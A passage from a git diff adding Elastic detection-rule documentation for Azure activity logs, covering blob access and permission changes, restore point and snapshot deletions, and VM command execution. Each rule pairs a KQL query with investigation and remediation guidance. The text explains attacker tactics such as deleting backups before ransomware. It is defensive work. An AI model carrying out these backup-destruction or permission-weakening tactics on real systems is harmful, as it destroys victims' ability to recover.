and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Blob Storage Container Access Level Modified* + + +Azure Blob Storage is a service for storing large amounts of unstructured data, where access levels can be configured to control data visibility. Adversaries may exploit misconfigured access levels to gain unauthorized access to sensitive data. The detection rule monitors changes in container access settings, focusing on successful modifications, to identify potential security risks associated with unauthorized access level changes. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the specific storage account and container where the access level modification occurred, using the operation name "MICROSOFT.STORAGE/STORAGEACCOUNTS/BLOBSERVICES/CONTAINERS/WRITE". +- Verify the identity of the user or service principal that performed the modification by examining the associated user information in the activity logs. +- Check the timestamp of the modification to determine if it aligns with any known maintenance windows or authorized changes. +- Investigate the previous access level settings of the container to assess the potential impact of the change, especially if it involved enabling anonymous public read access. +- Correlate the event with any other recent suspicious activities or alerts in the Azure environment to identify potential patterns or coordinated actions. +- Contact the owner of the storage account or relevant stakeholders to confirm whether the change was authorized and aligns with organizational policies. + + +*False positive analysis* + + +- Routine administrative changes to container access levels by authorized personnel can trigger alerts. To manage this, create exceptions for specific user accounts or roles that regularly perform these tasks. +- Automated scripts or tools used for managing storage configurations may cause false positives. Identify and exclude these scripts or tools from monitoring if they are verified as non-threatening. +- Scheduled updates or maintenance activities that involve access level modifications can be mistaken for unauthorized changes. Document and schedule these activities to align with monitoring rules, allowing for temporary exclusions during these periods. +- Changes made by trusted third-party services integrated with Azure Blob Storage might be flagged. Verify these services and exclude their operations from triggering alerts if they are deemed secure and necessary for business operations. + + +*Response and remediation* + + +- Immediately revoke public read access to the affected Azure Blob container to prevent unauthorized data exposure. +- Review the access logs to identify any unauthorized access or data exfiltration attempts during the period when the access level was modified. +- Notify the security team and relevant stakeholders about the incident, providing details of the unauthorized access level change and any potential data exposure. +- Conduct a thorough audit of all Azure Blob containers to ensure that access levels are configured according to the organization's security policies and that no other containers are misconfigured. +- Implement additional monitoring and alerting for changes to access levels on Azure Blob containers to ensure rapid detection of any future unauthorized modifications. +- If sensitive data was exposed, initiate a data breach response plan, including notifying affected parties and regulatory bodies as required by law. +- Review and update access management policies and procedures to prevent recurrence, ensuring that only authorized personnel can modify container access levels. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.STORAGE/STORAGEACCOUNTS/BLOBSERVICES/CONTAINERS/WRITE" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Storage Object Discovery +** ID: T1619 +** Reference URL: https://attack.mitre.org/techniques/T1619/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-blob-storage-permissions-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-blob-storage-permissions-modified.asciidoc new file mode 100644 index 0000000000..404e95887c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-blob-storage-permissions-modified.asciidoc @@ -0,0 +1,118 @@ +[[prebuilt-rule-8-19-21-azure-blob-storage-permissions-modified]] +=== Azure Blob Storage Permissions Modified + +Identifies when the Azure role-based access control (Azure RBAC) permissions are modified for an Azure Blob. An adversary may modify the permissions on a blob to weaken their target's security controls or an administrator may inadvertently modify the permissions, which could lead to data exposure or loss. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/role-based-access-control/built-in-roles + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Identity and Access Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Blob Storage Permissions Modified* + + +Azure Blob Storage is a service for storing large amounts of unstructured data. It uses Azure RBAC to manage access, ensuring only authorized users can modify or access data. Adversaries may exploit this by altering permissions to gain unauthorized access or disrupt operations. The detection rule monitors specific Azure activity logs for successful permission changes, alerting analysts to potential security breaches or misconfigurations. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the user or service principal associated with the permission modification event by examining the relevant fields such as `event.dataset` and `azure.activitylogs.operation_name`. +- Check the `event.outcome` field to confirm the success of the permission modification and gather details on the specific permissions that were altered. +- Investigate the context of the modification by reviewing recent activities of the identified user or service principal to determine if the change aligns with their typical behavior or role. +- Assess the potential impact of the permission change on the affected Azure Blob by evaluating the sensitivity of the data and the new access levels granted. +- Cross-reference the modification event with any recent security alerts or incidents to identify if this change is part of a broader attack pattern or misconfiguration issue. +- Consult with the relevant data owners or administrators to verify if the permission change was authorized and necessary, and if not, take corrective actions to revert the changes. + + +*False positive analysis* + + +- Routine administrative changes to Azure Blob permissions by authorized personnel can trigger alerts. To manage this, create exceptions for specific user accounts or roles that frequently perform legitimate permission modifications. +- Automated scripts or tools used for regular maintenance or deployment might modify permissions as part of their operation. Identify these scripts and exclude their activity from triggering alerts by using specific identifiers or tags associated with the scripts. +- Scheduled updates or policy changes that involve permission modifications can result in false positives. Document these schedules and adjust the monitoring rules to account for these timeframes, reducing unnecessary alerts. +- Integration with third-party services that require permission changes might cause alerts. Review and whitelist these services if they are verified and necessary for operations, ensuring they do not trigger false positives. + + +*Response and remediation* + + +- Immediately revoke any unauthorized permissions identified in the Azure Blob Storage to prevent further unauthorized access or data exposure. +- Conduct a thorough review of the Azure Activity Logs to identify any other suspicious activities or permission changes that may have occurred around the same time. +- Notify the security team and relevant stakeholders about the incident, providing details of the unauthorized changes and any potential data exposure. +- Implement additional monitoring on the affected Azure Blob Storage accounts to detect any further unauthorized access attempts or permission modifications. +- Escalate the incident to the incident response team if there is evidence of a broader security breach or if sensitive data has been compromised. +- Review and update Azure RBAC policies to ensure that only necessary permissions are granted, and consider implementing more granular access controls to minimize the risk of future unauthorized modifications. +- Conduct a post-incident analysis to identify the root cause of the permission change and implement measures to prevent similar incidents in the future, such as enhancing logging and alerting capabilities. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:( + "MICROSOFT.STORAGE/STORAGEACCOUNTS/BLOBSERVICES/CONTAINERS/BLOBS/MANAGEOWNERSHIP/ACTION" or + "MICROSOFT.STORAGE/STORAGEACCOUNTS/BLOBSERVICES/CONTAINERS/BLOBS/MODIFYPERMISSIONS/ACTION") and + event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-compute-restore-point-collection-deleted-by-unusual-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-compute-restore-point-collection-deleted-by-unusual-user.asciidoc new file mode 100644 index 0000000000..db4f9b1e9c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-compute-restore-point-collection-deleted-by-unusual-user.asciidoc @@ -0,0 +1,118 @@ +[[prebuilt-rule-8-19-21-azure-compute-restore-point-collection-deleted-by-unusual-user]] +=== Azure Compute Restore Point Collection Deleted by Unusual User + +Identifies the deletion of Azure Restore Point Collections by a user who has not previously performed this activity. Restore Point Collections contain recovery points for virtual machines, enabling point-in-time recovery capabilities. Adversaries may delete these collections to prevent recovery during ransomware attacks or to cover their tracks during malicious operations. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2023/07/25/storm-0501-ransomware-attacks-expanding-to-hybrid-cloud-environments/ + +*Tags*: + +* Domain: Cloud +* Domain: Storage +* Data Source: Azure +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Compute Restore Point Collection Deleted by Unusual User* + + +Azure Compute Restore Point Collections are critical components for disaster recovery, containing snapshots that enable point-in-time +recovery of virtual machines. Deletion of these collections can severely impact an organization's ability to recover from +incidents, making them attractive targets for adversaries conducting ransomware attacks or attempting to cover their tracks. + +This rule detects when a user who has not previously deleted Restore Point Collections performs this operation, which may +indicate unauthorized activity or a compromised account. + + +*Possible investigation steps* + + +- Review the `azure.activitylogs.identity.claims_initiated_by_user.name` field to identify the specific user who performed the deletion operation. +- Investigate the `azure.resource.id` or `azure.resource.name` fields to identify which Restore Point Collection was deleted and assess its criticality to business operations. +- Review the timeline of the deletion event and correlate it with other security events or user activities to identify any suspicious patterns or related activities. +- Verify whether the user account has legitimate access to perform this operation and whether this deletion was authorized through change management processes. +- Check for any other unusual activities by the same user account around the time of the deletion, such as privilege escalation attempts or access to other sensitive resources. +- Investigate whether there are any active alerts or indicators of compromise related to ransomware activity in the environment. + + +*False positive analysis* + + +- Routine administrative activities by infrastructure teams may trigger this alert when team members rotate or new administrators are onboarded. Create exceptions for known administrative accounts after verification. +- Automated cleanup scripts or Azure policies that periodically remove old restore points may cause alerts. Identify and exclude service accounts used for these automated operations. +- Planned decommissioning activities or migration projects may involve legitimate deletion of restore point collections. Document these activities and create temporary exceptions during known maintenance windows. +- Testing and development environments may see frequent creation and deletion of resources. Consider excluding these environments from monitoring or adjusting the rule to focus on production resources only. + + +*Response and remediation* + + +- Immediately verify the legitimacy of the deletion operation with the user or their manager. If the activity is unauthorized, proceed with incident response procedures. +- If unauthorized deletion is confirmed, immediately isolate the affected user account to prevent further malicious activity. Reset credentials and review account permissions. +- Check if the deleted Restore Point Collection can be recovered through Azure backup services or other recovery mechanisms. +- Review and audit all recent activities performed by the affected user account to identify other potentially malicious actions. +- Assess the impact on disaster recovery capabilities and inform relevant stakeholders about potential recovery limitations. +- Review access controls and permissions for Restore Point Collection management, implementing principle of least privilege where necessary. +- If ransomware activity is suspected, escalate to the security incident response team and implement broader containment measures, including checking for other indicators of ransomware such as deletion of Recovery Services vaults or backup fabric containers. +- Document the incident and update detection rules or procedures based on lessons learned. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.activitylogs and + event.action: "MICROSOFT.COMPUTE/RESTOREPOINTCOLLECTIONS/DELETE" and + event.outcome: (Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-compute-restore-point-collections-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-compute-restore-point-collections-deleted.asciidoc new file mode 100644 index 0000000000..5a1de18a4f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-compute-restore-point-collections-deleted.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-21-azure-compute-restore-point-collections-deleted]] +=== Azure Compute Restore Point Collections Deleted + +Identifies multiple Azure Restore Point Collections being deleted by a single user within a short time period. Restore Point Collections contain recovery points for virtual machines, enabling point-in-time recovery capabilities. Mass deletion of these collections is a common tactic used by adversaries during ransomware attacks to prevent victim recovery or to maximize impact during destructive operations. Multiple deletions in rapid succession may indicate malicious intent. + +*Rule type*: threshold + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2023/07/25/storm-0501-ransomware-attacks-expanding-to-hybrid-cloud-environments/ + +*Tags*: + +* Domain: Cloud +* Domain: Storage +* Data Source: Azure +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Compute Restore Point Collections Deleted* + + +Azure Compute Restore Point Collections are essential for disaster recovery, containing snapshots that enable point-in-time recovery +of virtual machines. The ability to quickly restore VMs from these recovery points is critical for business continuity and +incident response. + +Adversaries conducting ransomware attacks or destructive operations often target backup and recovery infrastructure to +prevent victims from recovering their systems without paying a ransom. Mass deletion of Restore Point Collections is a +key indicator of such activity and represents a significant threat to an organization's resilience. + +This rule detects when a single user deletes multiple Restore Point Collections within a short time window, which is +unusual in normal operations and highly suspicious when observed. + + +*Possible investigation steps* + + +- Identify the user account responsible for the deletions by examining the `azure.activitylogs.identity.claims_initiated_by_user.name` or `user.name` field in the alerts. +- Review all deletion events from this user in the specified time window to determine the scope and scale of the activity. +- Check the `azure.resource.id` and `azure.resource.name` fields to identify which Restore Point Collections were deleted and assess their criticality to business operations. +- Verify whether the user account has legitimate administrative access and whether these deletions were authorized through change management or documented maintenance activities. +- Investigate the timeline of events leading up to the deletions, looking for other suspicious activities such as: + - Privilege escalation attempts + - Deletion of other backup resources (Recovery Services vaults, backup policies) + - Unusual authentication patterns or geographic anomalies + - Creation of persistence mechanisms or backdoor accounts +- Review Azure Activity Logs for any failed deletion attempts or access denied events that might indicate reconnaissance activities preceding the successful deletions. +- Check for related data destruction activities, such as deletion of virtual machines, disks, or storage accounts. +- Correlate with sign-in logs to identify any unusual login patterns or potential account compromise indicators. + + +*False positive analysis* + + +- Large-scale decommissioning projects may involve legitimate deletion of multiple Restore Point Collections. Verify with change management records and create temporary exceptions during documented maintenance windows. +- Infrastructure migrations from Azure to another platform or between Azure regions may involve cleanup of old restore points. Confirm these activities are planned and documented before excluding them from monitoring. +- Automated cleanup scripts designed to manage storage costs by removing old restore points might trigger this alert. Identify the service accounts used for these operations and adjust the threshold or create exceptions as appropriate. +- Testing and development environments that are frequently rebuilt may see regular bulk deletion of resources. Consider excluding non-production environments or adjusting the threshold for these subscriptions. +- Review the threshold value (currently set to 3) and adjust based on your environment's baseline if legitimate administrative activities are frequently triggering false positives. + + +*Response and remediation* + + +- Immediately isolate the affected user account to prevent further malicious activity. Reset credentials and revoke active sessions. +- Verify the legitimacy of the deletions with the account owner or their manager. If unauthorized, treat this as a confirmed security incident and activate incident response procedures. +- Check if any of the deleted Restore Point Collections can be recovered through Azure backup services, soft-delete features, or other recovery mechanisms. Time is critical as retention policies may limit recovery windows. +- Conduct a comprehensive review of all recent activities by the affected user account across the Azure environment to identify other potentially malicious actions or compromised resources. +- Assess the current disaster recovery posture and identify which VMs are now missing recovery points. Prioritize creation of new restore points for critical systems if they are unaffected. +- Review and strengthen access controls for Restore Point Collection management, implementing stricter RBAC policies and requiring multi-factor authentication for privileged operations. +- If ransomware activity is suspected or confirmed: + - Activate the organization's ransomware response plan + - Isolate affected systems to prevent spread + - Search for ransomware indicators across the environment (encrypted files, ransom notes, suspicious processes) + - Check for deletion of other recovery resources (Recovery Services vaults, backups, snapshots) + - Do not pay ransom demands; engage with law enforcement and cybersecurity incident response teams +- Implement additional monitoring and alerting for related activities such as: + - Deletion of Recovery Services resources + - Modifications to backup policies + - Unusual access to disaster recovery infrastructure +- Document the incident thoroughly and conduct a post-incident review to identify gaps in security controls and opportunities for improvement. +- Consider implementing Azure Resource Locks on critical recovery resources to prevent accidental or malicious deletion. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.activitylogs and + event.action: "MICROSOFT.COMPUTE/RESTOREPOINTCOLLECTIONS/DELETE" and + event.outcome: (Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-compute-snapshot-deletion-by-unusual-user-and-resource-group.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-compute-snapshot-deletion-by-unusual-user-and-resource-group.asciidoc new file mode 100644 index 0000000000..cea02ca2f6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-compute-snapshot-deletion-by-unusual-user-and-resource-group.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-21-azure-compute-snapshot-deletion-by-unusual-user-and-resource-group]] +=== Azure Compute Snapshot Deletion by Unusual User and Resource Group + +Identifies when an Azure disk snapshot is deleted by an unusual user in a specific resource group. Snapshots are critical for backup, disaster recovery, and forensic analysis. Adversaries may delete snapshots to prevent data recovery, eliminate forensic evidence, or disrupt backup strategies before executing ransomware or other destructive attacks. Monitoring snapshot deletions is essential for detecting potential attacks targeting backup and recovery capabilities. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.activitylogs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ + +*Tags*: + +* Domain: Cloud +* Domain: Storage +* Data Source: Azure +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Compute Snapshot Deletion by Unusual User and Resource Group* + + +Azure disk snapshots provide point-in-time copies of managed disks, serving as critical components for backup strategies, disaster recovery plans, and forensic investigations. Snapshots enable organizations to restore data and reconstruct system states after security incidents. Adversaries aware of backup strategies may delete snapshots to prevent recovery, eliminate forensic evidence, or maximize impact before executing ransomware attacks. This detection monitors for snapshot deletion operations to identify potential attempts to compromise backup and recovery capabilities. This is a New Terms rule that looks for this behavior by a user and resource group that has not been seen in the last 7 days. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the user or service principal that initiated the snapshot deletion by examining the principal ID, UPN and user agent fields. +- Check the specific snapshot name in `azure.resource.name` to understand which backup was deleted and assess the potential impact on recovery capabilities. +- Investigate the timing of the event to correlate with any other suspicious activities, such as unusual login patterns, privilege escalation attempts, or other resource deletions. +- Examine the user's recent activity history to identify any other snapshots, disks, or Azure resources that were deleted or modified by the same principal. +- Verify if the snapshot deletion aligns with approved change requests, maintenance windows, or data retention policies in your organization. +- Check if other backup-related resources (backup vaults, recovery services) were accessed or modified around the same time. +- Review any related alerts or activities such as data encryption, VM modifications, or access policy changes that occurred before the deletion. +- Investigate if the account was recently compromised by checking for suspicious authentication events or privilege escalations. + + +*False positive analysis* + + +- Legitimate cleanup of expired snapshots according to data retention policies may trigger this alert. Document approved retention management processes and consider creating exceptions for automated retention tools or scheduled cleanup activities. +- DevOps automation tools might delete temporary snapshots created during deployment or testing processes. Identify service principals used by CI/CD pipelines and consider time-based exceptions during deployment windows. +- Storage optimization initiatives may involve deleting old or redundant snapshots to reduce costs. Coordinate with infrastructure teams to understand planned optimization activities and create exceptions during documented maintenance windows. +- Disaster recovery testing may involve creating and deleting test snapshots. Work with business continuity teams to identify these patterns and create exceptions during scheduled DR testing periods. + + +*Response and remediation* + + +- Immediately investigate whether the deletion was authorized by verifying with the account owner, backup administrators, or relevant stakeholders. +- If the deletion was unauthorized, disable the compromised user account or service principal immediately to prevent further damage. +- Check if the snapshot can be recovered through Azure backup services or soft-delete capabilities if enabled. +- Create new snapshots of critical disks immediately if the deleted snapshot was part of your backup strategy. +- Review and audit all Azure RBAC permissions to identify how the attacker gained snapshot deletion capabilities. +- Conduct a full security assessment to identify the initial access vector and any other compromised accounts or resources. +- Implement Azure Resource Locks on critical snapshots to prevent accidental or malicious deletion. +- Configure Azure Policy to restrict snapshot deletion permissions to only authorized backup administrators. +- Enable Azure Activity Log alerts to notify security teams immediately when snapshots are deleted. +- Review backup and disaster recovery procedures to ensure redundant backup mechanisms exist beyond Azure snapshots. +- Document the incident and update security policies and procedures to prevent similar incidents in the future. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.activitylogs and + azure.activitylogs.operation_name: "MICROSOFT.COMPUTE/SNAPSHOTS/DELETE" and + azure.activitylogs.properties.status_code: "Accepted" and + azure.activitylogs.identity.claims_initiated_by_user.name: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-compute-snapshot-deletions-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-compute-snapshot-deletions-by-user.asciidoc new file mode 100644 index 0000000000..7e16f7cf26 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-compute-snapshot-deletions-by-user.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-21-azure-compute-snapshot-deletions-by-user]] +=== Azure Compute Snapshot Deletions by User + +Identifies when a single user or service principal deletes multiple Azure disk snapshots within a short time period. This behavior may indicate an adversary attempting to inhibit system recovery capabilities, destroy backup evidence, or prepare for a ransomware attack. Mass deletion of snapshots eliminates restore points and significantly impacts disaster recovery capabilities, making it a critical indicator of potentially malicious activity. + +*Rule type*: threshold + +*Rule indices*: + +* logs-azure.activitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ + +*Tags*: + +* Domain: Cloud +* Domain: Storage +* Data Source: Azure +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Compute Snapshot Deletions by User* + + +Azure disk snapshots are critical backup and recovery resources that enable organizations to restore data and investigate security incidents. Mass deletion of snapshots is a highly suspicious activity commonly associated with ransomware preparation, evidence destruction, or sabotage operations. Adversaries frequently target snapshots to prevent victims from recovering data without paying ransom or to eliminate forensic evidence of their activities. This detection identifies when a single identity deletes multiple snapshots in a short timeframe, which is rarely performed by legitimate administrators except during controlled maintenance activities. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the user or service principal that initiated the multiple snapshot deletions by examining the principal ID, UPN and user agent fields in `azure.activitylogs.identity.claims_initiated_by_user.name`. +- Check the specific snapshot names in `azure.resource.name` to understand which backups were deleted and assess the overall impact on recovery capabilities. +- Investigate the timing and sequence of deletions to determine if they followed a pattern consistent with automated malicious activity or manual destruction. +- Examine the user's recent activity history including authentication events, privilege changes, and other Azure resource modifications to identify signs of account compromise. +- Verify if the snapshot deletions align with approved change requests, maintenance windows, or data retention policies in your organization. +- Check if other backup-related resources (backup vaults, recovery services, additional snapshots) were also accessed or modified by the same principal. +- Review any related alerts or activities such as VM encryption, disk modifications, or unusual data access that occurred before the deletions. +- Investigate if other Azure resources (VMs, disks, storage accounts) were also deleted or modified by the same principal. +- Check the authentication source and location to identify if the activity originated from an expected network location or potentially compromised session. +- Determine if any remaining snapshots or alternative backups exist for the affected resources. + + +*False positive analysis* + + +- Legitimate bulk cleanup of expired snapshots according to data retention policies may trigger this alert. Document approved retention management processes and coordinate with infrastructure teams to create exceptions during planned maintenance windows. +- Infrastructure-as-Code (IaC) automation tools or backup management solutions may delete multiple expired snapshots. Identify service principals used by backup retention tools and consider creating exceptions for these identities when following documented retention schedules. +- Cost optimization initiatives may involve bulk deletion of old or redundant snapshots. Coordinate with finance and infrastructure teams to understand planned optimization activities and schedule them during documented maintenance windows. +- Disaster recovery testing or environment teardown may involve deletion of multiple test snapshots. Work with business continuity and DevOps teams to identify these patterns and create time-based exceptions during testing periods. +- Storage migration or consolidation projects may require deletion of old snapshots. Coordinate with infrastructure teams to understand planned migration activities and create exceptions during documented project timelines. + + +*Response and remediation* + + +- Immediately investigate whether the deletions were authorized by verifying with backup administrators, infrastructure teams, or relevant stakeholders. +- If the deletions were unauthorized, disable the compromised user account or service principal immediately to prevent further damage. +- Check if any snapshots can be recovered through Azure backup services, soft-delete capabilities, or alternative backup mechanisms. +- Create new snapshots of all critical disks immediately to establish new restore points if the deleted snapshots were part of your backup strategy. +- Review and audit all Azure RBAC permissions to identify how the attacker gained snapshot deletion capabilities and remove excessive permissions. +- Conduct a full security assessment to identify the initial access vector, any other compromised accounts, and potential lateral movement. +- Implement Azure Resource Locks on all critical snapshots and backup resources to prevent accidental or malicious deletion. +- Configure Azure Policy to restrict snapshot deletion permissions to only authorized backup administrators and require approval workflows for deletion operations. +- Enable Azure Activity Log alerts and configure notifications to security teams immediately when snapshots are deleted. +- Review and enhance backup strategies to ensure redundant backup mechanisms exist beyond Azure snapshots, including geo-redundant backups and offline copies. +- Escalate the incident to the security operations center (SOC) or incident response team for investigation of potential ransomware preparation or broader compromise. +- Document the incident and update security policies, playbooks, and procedures to prevent similar incidents in the future. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.activitylogs and + azure.activitylogs.operation_name: "MICROSOFT.COMPUTE/SNAPSHOTS/DELETE" and + azure.activitylogs.properties.status_code: "Accepted" and + azure.activitylogs.identity.claims_initiated_by_user.name: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-compute-vm-command-executed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-compute-vm-command-executed.asciidoc new file mode 100644 index 0000000000..8001be5651 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-compute-vm-command-executed.asciidoc @@ -0,0 +1,118 @@ +[[prebuilt-rule-8-19-21-azure-compute-vm-command-executed]] +=== Azure Compute VM Command Executed + +Identifies command execution on a virtual machine (VM) in Azure. A Virtual Machine Contributor role lets you manage virtual machines, but not access them, nor access the virtual network or storage account they’re connected to. However, commands can be run via PowerShell on the VM, which execute as System. Other roles, such as certain Administrator roles may be able to execute commands on a VM as well. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://adsecurity.org/?p=4277 +* https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a +* 